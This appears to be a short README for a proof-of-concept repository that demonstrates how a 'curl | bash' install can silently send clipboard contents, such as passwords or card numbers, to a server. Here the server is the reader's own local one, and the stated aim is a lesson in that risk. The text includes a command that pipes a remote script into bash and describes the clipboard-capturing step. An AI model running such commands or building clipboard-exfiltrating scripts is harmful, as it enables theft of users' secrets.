Do you put sensitive data in your clipboard? Like bank passwords or credit card numbers?
Do you use curl | bash
pattern to install things on your system?
Just do all the things from attacker list, and then from yours.
git clone
this repo- in repo directory run
bundle install
- Start
./server
Just the usual:
curl https://raw.githubusercontent.com/wrzasa/watch-your-clipboard/master/run-me.sh | bash`
After you installed and run this use your computer as usually. Copy, paste, whatever. After some time use
./get-clipboards.rb
and watch what was sent from your clipboard to the server.
This time it was sent to your own server. Because it's a free lesson. And you have all the code to see how simple it was. Learn.
Well... more bla bla here then the actual code in the files... but doing the proof-of-concept was actually interesting.